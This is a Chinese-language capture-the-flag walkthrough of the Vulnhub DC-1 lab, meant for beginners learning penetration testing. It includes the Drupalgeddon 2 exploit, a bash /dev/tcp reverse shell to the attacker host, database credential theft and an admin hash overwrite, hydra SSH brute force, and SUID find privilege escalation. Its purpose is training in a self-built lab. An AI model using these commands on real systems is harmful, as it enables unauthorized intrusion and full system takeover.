1. 环境准备与靶机发现如果你刚接触渗透测试想找个地方练手那Vulnhub的DC-1靶场绝对是你的不二之选。它就像是一个专门为新手设计的“闯关游戏”目标明确路径清晰能让你完整体验从发现目标到最终拿到最高权限的完整流程。我自己当年就是从这个靶场开始入门的它帮我理清了很多模糊的概念。简单来说DC-1是一个故意设置了多个漏洞的Linux虚拟机我们的任务就是扮演“白帽子”用各种工具和技术找到并利用这些漏洞最终拿到藏在/root目录下的最终旗帜flag。第一步你得先把“战场”搭建起来。你需要准备两个虚拟机一个是攻击机通常我们用Kali Linux因为它预装了几乎所有我们需要的工具另一个就是我们的目标——DC-1靶机。从Vulnhub官网下载DC-1的镜像文件导入到你的虚拟机软件里比如VMware或VirtualBox。这里有个关键设置我建议把两台虚拟机的网络适配器都设置为NAT模式。很多新手会疑惑为什么不用桥接模式桥接模式会让虚拟机和你真实网络里的其他设备处于同一网段有时候会带来不必要的干扰。而NAT模式相当于给虚拟机们创建了一个独立的内部小网络Kali和DC-1能互相通信又不会影响你真实的家庭或公司网络环境更干净也更安全。启动两台虚拟机后Kali会自己获取一个IP地址比如192.168.1.10。但DC-1靶机的IP地址是未知的我们的第一个任务就是把它找出来。这就好比在一个黑暗的房间里找人你得先喊一嗓子看看谁在。在渗透测试里这个过程叫“主机发现”。我常用的工具是arp-scan它速度非常快。打开Kali的终端输入命令sudo arp-scan -l。这个命令会向本地网络发送ARP请求并列出所有响应的设备及其IP和MAC地址。在一堆结果里你需要找到那个不属于你已知设备比如你自己的电脑、路由器的陌生IP那很可能就是DC-1。除了arp-scan你也可以用nmap -sn 192.168.1.0/24进行ping扫描或者用netdiscover工具。我实测下来在NAT网络里arp-scan的准确率和速度综合表现最好。找到靶机IP假设是192.168.1.134后别急着进攻先要做个全面的“侦察”。我们需要知道这台机器对外开放了哪些“门”端口以及每扇门后面运行着什么服务。这就要用到渗透测试的“瑞士军刀”——Nmap。执行一个详细的端口扫描nmap -sV -sC -p- 192.168.1.134。我来拆解一下这个命令-sV是探测服务版本-sC是使用默认的Nmap脚本进行更深入的检查-p-是扫描所有65535个端口从1到65535。扫描完成后你会看到一份报告。通常对于DC-1你会发现它开放了80端口HTTP网页服务和22端口SSH远程管理服务。80端口就是我们主要的突破口。2. 信息收集与漏洞初探知道靶机开了个网站我们自然要打开浏览器去看看。在地址栏输入http://192.168.1.134一个网站页面就加载出来了。第一眼你可能觉得这就是个普通的博客或内容站。但作为渗透测试员我们要看得更深。首先留意页面底部、源代码或者HTTP响应头这里常常藏着网站使用的技术信息。对于DC-1你很快会发现它使用的是Drupal 7这个内容管理系统CMS。知道CMS类型和版本号比如Drupal 7.x是至关重要的一步因为很多漏洞都是针对特定CMS的特定版本的。光用眼睛看还不够我们可以用工具自动化收集信息。在Kali终端里使用whatweb http://192.168.1.134命令。这个工具能快速识别网站的技术栈比如服务器类型Apache/Nginx、编程语言PHP、以及确切的Drupal版本号。它就像给网站拍了一张“技术身份证”。同时我们还需要探查网站有没有隐藏的目录或文件比如后台登录页面/admin、配置文件/config.php、备份文件.bak等。这就要用到目录扫描工具比如gobuster或dirb。我常用的是gobuster dir -u http://192.168.1.134 -w /usr/share/wordlists/dirb/common.txt。这个命令会用一份常见的目录名字典去暴力猜解靶机网站可能存在的路径。不过根据我的经验在DC-1的标准设置里用常见字典扫目录可能收获不大但这步操作是标准流程在实际测试中往往能发现意想不到的入口。看到Drupal的登录界面很多人的第一反应是尝试SQL注入。我当年也试了各种单引号、or 11之类的经典注入payload但发现这个登录点做了过滤常规注入行不通。你也可以用sqlmap工具自动化测试一下sqlmap -u http://192.168.1.134/?qnodedestinationnode --forms --batch。但结果很可能也是不存在注入漏洞。这其实很正常现代CMS的核心登录功能通常比较坚固。我们的重点不应该只盯着登录框而是利用已知的Drupal 7版本漏洞。既然知道了是Drupal 7我们就可以去搜索它的公开漏洞。在Kali里我们可以使用searchsploit drupal 7这个命令。searchsploit是一个本地漏洞数据库查询工具它会列出Exploit-DB上所有与Drupal 7相关的漏洞利用脚本。2.1 利用Drupalgeddon漏洞获取入口执行searchsploit drupal 7后你会看到好几个结果。其中有一个漏洞非常著名编号是CVE-2018-7600也有人叫它“Drupalgeddon 2”。这个漏洞允许攻击者在未授权的情况下远程执行代码危害极大。在搜索结果里你会找到对应的Python脚本比如exploit/unix/webapps/44355.py。我们可以把这个脚本复制到当前目录cp /usr/share/exploitdb/exploits/unix/webapps/44355.py .。拿到脚本后别急着运行先看看它的用法。用cat 44355.py浏览一下或者直接看开头部分的注释说明。通常这类脚本会要求你提供目标URL。理解原理很重要。Drupal 7.x 版本中某些表单的渲染函数存在缺陷没有对用户输入进行充分过滤。攻击者可以构造一个特殊的HTTP请求将恶意代码注入到表单处理流程中最终导致服务器执行我们想要的命令。这个脚本就是自动化了这个构造和发送的过程。我们运行脚本的方式是python2 44355.py http://192.168.1.134。注意这个漏洞利用脚本通常需要Python 2环境。运行后如果靶机存在此漏洞脚本会提示你“Exploit succeeded!”之类的信息并给你一个交互式的命令执行shell。在这个shell里你可以执行系统命令比如whoami会显示当前Web服务的运行用户通常是www-data。但是通过这个漏洞获得的shell往往是一个简单的、功能受限的shell我们称之为“非交互式shell”。它不稳定也不能使用su、sudo、文本编辑器等需要终端特性的命令。所以我们的下一步就是要把它升级成一个更稳定、功能完整的“交互式shell”最好还能把它“反弹”回我们自己的Kali机器上方便我们后续操作。这就引出了“反弹Shell”的概念。3. 建立稳固控制与横向移动拿到初始的Webshell后我们相当于在目标服务器上打开了一个小小的后门。但这个后门不太方便我们需要一个更好的控制通道。反弹Shell的思路是让靶机受害者主动连接我们攻击机Kali上监听的一个端口并把它的命令行终端交给我们。这样我们就能在Kali上像操作本地机器一样操作靶机了。首先在Kali上打开一个新的终端窗口启动一个网络监听器。最常用的工具是netcat简称nc。输入命令nc -lvnp 4444。这个命令的意思是-l监听模式-v显示详细信息-n直接使用IP地址不进行域名解析-p 4444指定监听4444端口。执行后终端会显示listening on [any] 4444 ...表示Kali已经在4444端口上准备好接收连接了。然后我们需要在靶机的Webshell里执行一个命令让它连接到我们的Kali。由于靶机是Linux系统并且通常装有netcat、bash、python等工具我们可以使用多种方式生成反弹Shell。一个经典且可靠的方法是使用bashbash -c bash -i /dev/tcp/192.168.1.10/4444 01。你需要把其中的192.168.1.10换成你Kali机器的真实IP地址。这个命令的意思是创建一个交互式的bash进程将其标准输入、输出和错误都重定向到与Kali的TCP连接上。在靶机的Webshell里执行这条命令后你回头去看Kali那个正在监听的终端窗口如果一切顺利你会看到连接成功的提示并且命令行提示符变成了靶机上的用户比如www-datadc-1:$。恭喜你你已经获得了一个反向的、功能更完整的Shell。有了这个更稳定的Shell我们就可以开始深入探索系统了。第一个目标是寻找“标志物”flag。在Vulnhub的靶场里通常会有多个flag文件flag1.txt, flag2.txt...它们既是目标也是引导你下一步行动的线索。我们先在当前目录和Web目录下找找。常用的命令是find /var/www -name \*.txt\ 2/dev/null或者find / -name \flag*.txt\ 2/dev/null 2/dev/null。在DC-1中你很可能在/var/www目录下找到flag1.txt。用cat命令查看它的内容它通常会给你一个提示比如“配置文件里藏着秘密”之类的。这指引我们去查看Drupal的配置文件。Drupal的配置文件通常叫settings.php位于Web目录下的sites/default文件夹里。我们切换到那个目录cd /var/www/sites/default然后cat settings.php。在这个文件里你会找到数据库的连接信息包括数据库名、用户名和密码。它看起来大概是这样的$databases array ( default array ( default array ( database drupaldb, username dbuser, password R0ck3t, host localhost, port , driver mysql, prefix , ), ), );看我们拿到了数据库密码R0ck3t。这是一个重要的跳板因为数据库里可能存储着管理员的登录凭证。3.1 数据库操作与密码破解拿到数据库密码后我们可以直接连接靶机上的MySQL数据库。在反弹回来的Shell里输入命令mysql -u dbuser -p然后输入密码R0ck3t就能进入MySQL命令行。首先查看有哪些数据库show databases;然后使用Drupal的数据库use drupaldb;。查看有哪些表show tables;。其中users表是最关键的它存放了所有用户的账号和密码哈希值。查看users表的内容select name, pass from users;。你会看到几条记录包括admin、Fred和我们之前可能创建的text用户。pass字段就是一长串以$S$开头的哈希值。这是Drupal特有的密码哈希格式基于SHA-512加盐多次迭代直接破解非常困难尤其是用rockyou.txt这种通用字典去跑john或hashcat很可能跑不出来或者要花费极长时间。这里DC-1靶场设计了一个巧妙的环节。既然我们已经在目标机器上有了Shell并且知道Drupal的代码就在/var/www下我们完全可以利用Drupal自身的密码生成机制来“制造”一个我们知道明文密码的哈希值。在Drupal的脚本目录里有一个用于生成哈希的PHP脚本/var/www/scripts/password-hash.sh。我们可以用它来生成密码“123456”的哈希值。命令是php /var/www/scripts/password-hash.sh 123456。执行后它会输出对应的$S$...哈希串。然后我们回到MySQL命令行用这个新生成的哈希值去替换掉admin用户的原始密码哈希。命令如下UPDATE users SET pass$S$你刚生成的那一串哈希值 WHERE nameadmin;执行成功后我们就可以用用户名admin和密码123456去登录Drupal网站后台了。登录后台后你可能会发现新的flag比如flag3或者获得更多关于系统内部的信息。这一步的意义在于它演示了在渗透测试中当我们获得一定权限后如何利用应用程序本身的逻辑和功能在这里是密码重置机制来扩大战果实现从Web Shell到后台管理员权限的跨越。4. 权限提升与最终夺旗到目前为止我们操控的一直是www-data这个用户。这个用户权限很低只能操作Web相关的文件和目录无法读取系统敏感文件如/etc/shadow或进行关键系统配置。我们的最终目标是拿到root权限也就是系统的完全控制权。这个过程就叫“权限提升”Privilege Escalation。首先我们需要进行详细的信息收集寻找可能提权的线索。我会运行一系列命令来搜集系统信息id查看当前用户的用户ID和组ID。uname -a查看内核版本寻找内核漏洞。cat /etc/passwd查看系统所有用户注意那些有登录Shell如/bin/bash的非系统用户。sudo -l非常重要查看当前用户可以用sudo以root权限运行哪些命令。如果提示需要密码而我们不知道www-data的密码这条路可能暂时走不通。find / -perm -4000 -type f 2/dev/null查找所有设置了SUID位的文件。SUID文件在执行时会以文件所有者的身份运行。如果找到一个属于root且SUID设置不安全的程序如find、vim、bash等就可能利用它来提权。getcap -r / 2/dev/null查找具有特殊能力capabilities的文件。ps aux查看所有运行中的进程看看有没有以root身份运行的可疑或脆弱服务。在DC-1靶场中一个经典的提权路径是通过另一个用户flag4。我们在/home目录下会发现一个用户家目录flag4里面有一个flag4.txt文件。查看这个文件它可能不会直接给出密码但暗示了这个用户的存在。我们可以尝试用弱口令字典爆破flag4用户的SSH密码。首先我们需要把靶机的/etc/shadow文件存储密码哈希和/etc/passwd文件合并然后用john工具破解。但通常www-data用户没有读取/etc/shadow的权限。另一种方法是直接爆破SSH服务。我们用hydra工具hydra -l flag4 -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.134。这个命令会用rockyou.txt这个庞大的密码字典去尝试登录靶机的SSH服务。运气好的话可能会爆破出密码比如orange。4.1 利用SUID程序完成提权假设我们通过某种方式比如爆破、或者从其他线索找到知道了flag4用户的密码我们就可以用su flag4命令切换到这个用户或者直接用SSH连接ssh flag4192.168.1.134。登录后我们再次执行sudo -l看看flag4用户有没有特殊的sudo权限。在DC-1中flag4用户可能也没有直接的sudo权限。这时我们再次检查SUID文件。用find / -perm -4000 -type f 2/dev/null命令仔细查看输出列表。你可能会发现/usr/bin/find这个命令被设置了SUID位并且所有者是root。这是一个已知的提权向量。因为find命令有一个-exec参数可以执行任意命令并且由于SUID的存在这个命令会以root权限运行。提权命令非常简单find / -name flag4.txt -exec /bin/sh \;。这个命令的意思是让find去寻找名为flag4.txt的文件一旦找到实际上就是/home/flag4/flag4.txt就执行/bin/sh启动一个shell。由于find是以root权限运行的它启动的/bin/sh也就拥有了root权限执行这条命令后你的命令行提示符可能会变成#输入whoami确认如果返回root那么恭喜你你已经成功提权到系统最高权限。最后就是享受胜利果实的时刻。切换到/root目录用cat thefinalflag.txt或类似的命令查看最终的flag文件内容。这个flag就是完成DC-1靶场挑战的终极证明。回顾整个流程我们从网络发现开始通过信息收集找到Web应用漏洞Drupalgeddon利用漏洞获得初始立足点建立反弹Shell稳固控制横向移动到数据库并修改凭证最后通过系统配置缺陷不安全的SUID文件完成权限提升。这个过程几乎涵盖了基础渗透测试的所有核心环节对于理解攻击链和建立安全思维非常有帮助。我建议你在自己搭建的环境里多练习几遍每一步都尝试用不同的方法或工具去实现比如用msfconsoleMetasploit框架来利用Drupal漏洞或者尝试其他提权方法比如检查计划任务crontab、环境变量PATH劫持等这样才能真正把知识变成自己的经验。